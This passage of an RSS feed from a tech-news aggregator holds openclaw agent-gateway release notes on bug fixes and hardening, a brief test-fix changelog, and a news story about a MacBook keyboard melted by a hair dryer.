<li>Agents/subagents: require explicit subagent allowlist targets to be configured agents so stale deleted-agent ids are omitted from <code>agents_list</code> and rejected by <code>sessions_spawn</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491844371" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84811" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84811/hovercard" href="https://github.com/openclaw/openclaw/issues/84811">#84811</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499010254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85154" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85154/hovercard" href="https://github.com/openclaw/openclaw/pull/85154">#85154</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>PDF tool: time out idle remote PDF body reads after 120 seconds so stalled remote documents return an error instead of wedging the session. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288676163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68649" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68649/hovercard" href="https://github.com/openclaw/openclaw/issues/68649">#68649</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491207985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84768" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84768/hovercard" href="https://github.com/openclaw/openclaw/pull/84768">#84768</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Diagnostics/OpenTelemetry plugin: suppress handled OTLP exporter promise rejections so collector shutdowns no longer crash the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430729094" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81085" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81085/hovercard" href="https://github.com/openclaw/openclaw/pull/81085">#81085</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Agents/exec: omit raw command text and env values from denied exec failure logs while keeping safe correlation metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496830927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85049" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85049/hovercard" href="https://github.com/openclaw/openclaw/issues/85049">#85049</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498838754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85140" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85140/hovercard" href="https://github.com/openclaw/openclaw/pull/85140">#85140</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Media-understanding: restore the 4096-token default for image descriptions so reasoning-capable vision models no longer truncate before returning text, while preserving smaller model caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494048283" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84932" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84932/hovercard" href="https://github.com/openclaw/openclaw/pull/84932">#84932</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scotthuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scotthuang">@scotthuang</a>.</li>
<li>Media/audio: skip empty structured sherpa-onnx transcripts instead of treating the raw JSON payload as spoken text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488983460" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84667/hovercard" href="https://github.com/openclaw/openclaw/pull/84667">#84667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agents/exec: preserve inherited XDG base-directory environment values for subprocesses while still rejecting agent-supplied XDG overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492278181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84854" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84854/hovercard" href="https://github.com/openclaw/openclaw/issues/84854">#84854</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498820649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85139" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85139/hovercard" href="https://github.com/openclaw/openclaw/pull/85139">#85139</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Node/Linux: keep <code>OPENCLAW_GATEWAY_TOKEN</code> out of generated systemd unit files by writing node service token values to a node-specific env file. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482764578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84408/hovercard" href="https://github.com/openclaw/openclaw/pull/84408">#84408</a>)</li>
<li>Memory-core/dreaming: reuse stable narrative subagent session keys per workspace and phase while keeping per-run idempotency and bounded cleanup, so stale <code>dreaming-narrative-*</code> sessions do not accumulate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4284837574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68252" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68252/hovercard" href="https://github.com/openclaw/openclaw/issues/68252">#68252</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293065762" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69187/hovercard" href="https://github.com/openclaw/openclaw/issues/69187">#69187</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312560097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70402" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70402/hovercard" href="https://github.com/openclaw/openclaw/issues/70402">#70402</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313300565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70464" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70464/hovercard" href="https://github.com/openclaw/openclaw/pull/70464">#70464</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chiyouYCH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chiyouYCH">@chiyouYCH</a>.</li>
<li>Trajectory/support: tolerate partial skill snapshot entries when building support metadata so rejected skill path scans no longer abort trajectory capture. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324624469" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71185/hovercard" href="https://github.com/openclaw/openclaw/pull/71185">#71185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lukeboyett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lukeboyett">@lukeboyett</a>.</li>
<li>TUI: coalesce repeated idle Esc abort notices into a single <code>no active run xN</code> system row instead of appending duplicate rows.</li>
<li>Telegram: honor <code>channels.telegram.pollingStallThresholdMs</code> in the default isolated polling path, restarting silent workers instead of leaving inbound updates wedged. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474114528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83950/hovercard" href="https://github.com/openclaw/openclaw/issues/83950">#83950</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492438443" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84861/hovercard" href="https://github.com/openclaw/openclaw/pull/84861">#84861</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dedupe replayed message dispatches by Telegram chat/message identity so isolated-ingress replays do not trigger duplicate model dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493044796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84886" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84886/hovercard" href="https://github.com/openclaw/openclaw/issues/84886">#84886</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499730658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85208" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85208/hovercard" href="https://github.com/openclaw/openclaw/pull/85208">#85208</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: suppress reasoning payloads before reply delivery and dispatch accounting, so Slack monitor, slash-command, fallback, and direct reply paths do not leak model reasoning. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481035938" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84319/hovercard" href="https://github.com/openclaw/openclaw/issues/84319">#84319</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481083191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84322/hovercard" href="https://github.com/openclaw/openclaw/pull/84322">#84322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ffluk3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ffluk3">@ffluk3</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: deliver native plugin approval prompts and updates when Slack native approvals are enabled, while keeping plugin approval authorization separate from exec approvers.</li>
<li>Slack: keep native plugin approval prompts in the originating app conversation thread when the live Slack turn source is a <code>D...</code> conversation.</li>
<li>Agents/Pi: disable the embedded pi-coding-agent runtime auto-retry so OpenClaw's own retry and failover loop does not replay failed tool calls through a nested SDK retry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345792398" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73781" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73781/hovercard" href="https://github.com/openclaw/openclaw/issues/73781">#73781</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351648711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74434" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74434/hovercard" href="https://github.com/openclaw/openclaw/pull/74434">#74434</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yelog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yelog">@yelog</a>.</li>
<li>CLI/perf: keep <code>setup --help</code>, <code>onboard --help</code>, and <code>configure --help</code> out of the full wizard runtime while preserving the existing help output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484116150" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84488/hovercard" href="https://github.com/openclaw/openclaw/pull/84488">#84488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>agents --help</code> out of agents action/runtime imports so help, completion, and command discovery paths avoid loading the full agents runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484034054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84483/hovercard" href="https://github.com/openclaw/openclaw/pull/84483">#84483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>secrets --help</code> and <code>nodes --help</code> on the precomputed help path so parent help avoids loading action-heavy command runtime modules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491951847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84818/hovercard" href="https://github.com/openclaw/openclaw/pull/84818">#84818</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: serve <code>doctor</code>, <code>gateway</code>, <code>models</code>, and <code>plugins</code> parent help from startup metadata so common subcommand help avoids full CLI program construction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491522584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84786/hovercard" href="https://github.com/openclaw/openclaw/pull/84786">#84786</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>Codex/Lossless: keep context-engine history on the canonical run session when Telegram DMs use per-peer runtime policy keys. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494202248" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84936" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84936/hovercard" href="https://github.com/openclaw/openclaw/issues/84936">#84936</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494744767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84954" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84954/hovercard" href="https://github.com/openclaw/openclaw/pull/84954">#84954</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Codex: keep heartbeat response tool schemas durable without exposing dynamic tools disabled by turn policy, so heartbeat wakeups can reuse threads while scoped tool allowlists stay enforced. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489377860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84681" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84681/hovercard" href="https://github.com/openclaw/openclaw/pull/84681">#84681</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>Auth/OAuth: skip the refresh adapter when a stored OAuth credential has no refresh token so agent turns fail fast on missing-key instead of waiting on the 120s refresh timeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Auth/Codex: load legacy OAuth sidecar credentials in the embedded runner's secrets-runtime auth loaders so Telegram replies, cron-triggered turns, and other isolated sub-agent lanes can reach the existing <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465275872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83312/hovercard" href="https://github.com/openclaw/openclaw/pull/83312">#83312</a> refresh-and-rewrite migration instead of failing with <code>No API key found for provider "openai-codex"</code> until the user runs <code>openclaw doctor</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Totalsolutionsync/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Totalsolutionsync">@Totalsolutionsync</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Codex/failover: classify <code>deactivated_workspace</code> as a permanent auth failure so configured fallback models can advance when a Codex workspace is deactivated. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4154052542" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55893" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55893/hovercard" href="https://github.com/openclaw/openclaw/pull/55893">#55893</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/litang9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/litang9">@litang9</a>.</li>
<li>Exec: keep configured <code>tools.exec.pathPrepend</code> entries ahead of user shell startup PATH changes on POSIX gateway runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4437943475" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81403" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81403/hovercard" href="https://github.com/openclaw/openclaw/pull/81403">#81403</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
<li>Gateway/sessions: allow shared-secret bearer callers to read and stream session history without an explicit scope header. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446205215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81815" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81815/hovercard" href="https://github.com/openclaw/openclaw/pull/81815">#81815</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
<li>Agents/embedded runner: classify HTML auth provider responses as <code>auth_html</code> and return a re-authentication hint instead of the CDN-blocked copy that <code>upstream_html</code> returns. Cloudflare Access login pages, nginx basic-auth challenges, and gateway login walls all produce HTML auth bodies that were previously misdiagnosed as transient CDN blocks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413285415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79900" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79900/hovercard" href="https://github.com/openclaw/openclaw/pull/79900">#79900</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>TUI/streaming watchdog: dismiss the <code>This response is taking longer than expected</code> notice as soon as a chat event for the same run arrives, so the message no longer sits next to the recovered response when the run was only briefly silent. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267080618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67052" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67052/hovercard" href="https://github.com/openclaw/openclaw/issues/67052">#67052</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291861236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69081/hovercard" href="https://github.com/openclaw/openclaw/issues/69081">#69081</a> (closed), prior attempt <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291455267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69026/hovercard" href="https://github.com/openclaw/openclaw/pull/69026">#69026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpruit20/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpruit20">@jpruit20</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Agents/Pi: tolerate OpenClaw-owned transcript writes while embedded prompts are released for model I/O, keeping long-running Feishu, Slack, Telegram, and cron turns from failing with false session-takeover errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475877718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84059" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84059/hovercard" href="https://github.com/openclaw/openclaw/issues/84059">#84059</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479751609" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84250" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84250/hovercard" href="https://github.com/openclaw/openclaw/pull/84250">#84250</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.8.44: fix(tests): repair Windows CI failures]]></title>
<description><![CDATA[composer_history: raise deadline to 10s on Windows for writer thread
prompts: make memory_guidance tier-order assertion CRLF-agnostic
gitattributes: enforce LF line endings for include_str!() prompt files

Regression from the v0.8.44 release changes — the writer thread batching
and the updated co...]]></description>
<link>https://tsecurity.de/de/3544313/downloads/v0844-fixtests-repair-windows-ci-failures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544313/downloads/v0844-fixtests-repair-windows-ci-failures/</guid>
<pubDate>Mon, 25 May 2026 00:16:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>composer_history: raise deadline to 10s on Windows for writer thread</li>
<li>prompts: make memory_guidance tier-order assertion CRLF-agnostic</li>
<li>gitattributes: enforce LF line endings for include_str!() prompt files</li>
</ul>
<p>Regression from the v0.8.44 release changes — the writer thread batching<br>
and the updated constitutional tier ordering in memory_guidance.md both<br>
uncovered Windows-only test flakes.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Pro Owner Used a Hair Dryer and Melted His Keyboard While Applying a Skin]]></title>
<description><![CDATA[A MacBook Pro owner learned an expensive lesson after using a hair dryer while applying a skin to his new M5 Pro, leaving several keyboard keys visibly warped and damaged. The incident quickly gained attention after Reddit user “NAVPRO360” shared images showing the melted arrow keys, proving that...]]></description>
<link>https://tsecurity.de/de/3544211/ios-mac-os/macbook-pro-owner-used-a-hair-dryer-and-melted-his-keyboard-while-applying-a-skin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544211/ios-mac-os/macbook-pro-owner-used-a-hair-dryer-and-melted-his-keyboard-while-applying-a-skin/</guid>
<pubDate>Sun, 24 May 2026 22:24:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A MacBook Pro owner learned an expensive lesson after using a hair dryer while applying a skin to his new M5 Pro, leaving several keyboard keys visibly warped and damaged. The incident quickly gained attention after Reddit user “NAVPRO360” shared images showing the melted arrow keys, proving that not every part of Apple’s premium laptop handles heat the same way.



The mistake happened while the owner was applying a dbrand skin to protect the MacBook Pro from scratches and daily wear. According to the post, the skin developed creases around the wrist rest area during installation, so the user decided to use a hair dryer to smooth things out. While the aluminum body handled the heat without any visible problem, the plastic scissor-switch keys did not survive the process.



Why The Keys Melted













Apple builds the MacBook Pro chassis using aluminum because the material absorbs and spreads heat efficiently. That is one reason MacBook Pro models feel solid and durable during regular use. However, the keyboard keys themselves still use plastic components, which react very differently when exposed to direct heat for even a short period.



The damaged keys in the Reddit images appear warped and uneven, especially around the arrow key section, where the heat likely stayed concentrated for too long. Since hair dryers can generate surprisingly high temperatures at close range, the plastic softened and lost its original shape almost immediately.



Replacing individual MacBook Pro keys is possible, although the process depends on the extent of the damage underneath the keycaps. Some Reddit replies pointed out that Apple sells replacement parts through its repair channels, while cheaper alternatives are also available through sites like AliExpress.



The owner also confirmed that the laptop has AppleCare+ coverage, though it remains unclear whether Apple will treat the incident as accidental damage with a service fee attached.



The situation also serves as a reminder for MacBook owners who apply skins or wraps themselves because excessive heat can permanently damage sensitive components long before the aluminum body shows any signs of trouble.]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.22]]></title>
<description><![CDATA[2026.5.22
Changes

Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.
Gateway/perf: reuse immutable plugin metadata snapshots across startup, confi...]]></description>
<link>https://tsecurity.de/de/3542782/downloads/openclaw-2026522/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3542782/downloads/openclaw-2026522/</guid>
<pubDate>Sun, 24 May 2026 02:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.22</h2>
<h3>Changes</h3>
<ul>
<li>Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.</li>
<li>Gateway/perf: reuse immutable plugin metadata snapshots across startup, config, model, channel, setup, and secret metadata readers so hot paths avoid repeated plugin file stats and manifest registry reloads.</li>
<li>Gateway/perf: lazy-load startup-idle plugin work, core gateway method handlers, and the embedded ACPX runtime so Gateway health and ready signals no longer wait on unused handler trees or ACPX probes.</li>
<li>Gateway/perf: cache plugin SDK public-surface alias maps and skip irrelevant macOS Linuxbrew PATH probes so Gateway startup avoids repeated filesystem walks and slow missing-directory stats.</li>
<li>Meeting Notes: add a source-only external meeting-notes plugin and SDK source-provider contract outside the core npm package, with auto-start capture config, manual transcript imports, read-only <code>openclaw meeting-notes</code> CLI access, and Discord voice as the first live source.</li>
<li>Docs/channels/config: add Signal <code>configPath</code>, Telegram wildcard topic defaults, local-time backup archive names, Termux home fallback, include-path validation, secret-scanner-safe placeholder guidance, Gemini CLI/Antigravity media guidance, and macOS VM auto-login guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NorseGaud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NorseGaud">@NorseGaud</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yudistiraashadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yudistiraashadi">@yudistiraashadi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huangqian8/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huangqian8">@huangqian8</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VibhorGautam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VibhorGautam">@VibhorGautam</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maweibin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maweibin">@maweibin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxingleo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxingleo">@tianxingleo</a>, 